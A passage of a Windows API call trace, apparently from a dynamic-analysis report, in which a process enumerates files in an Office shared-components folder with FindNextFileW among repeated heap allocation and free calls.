(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.452] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.452] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.452] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.452] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.452] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0235.452] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.452] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.452] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.453] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0235.454] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0235.455] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, 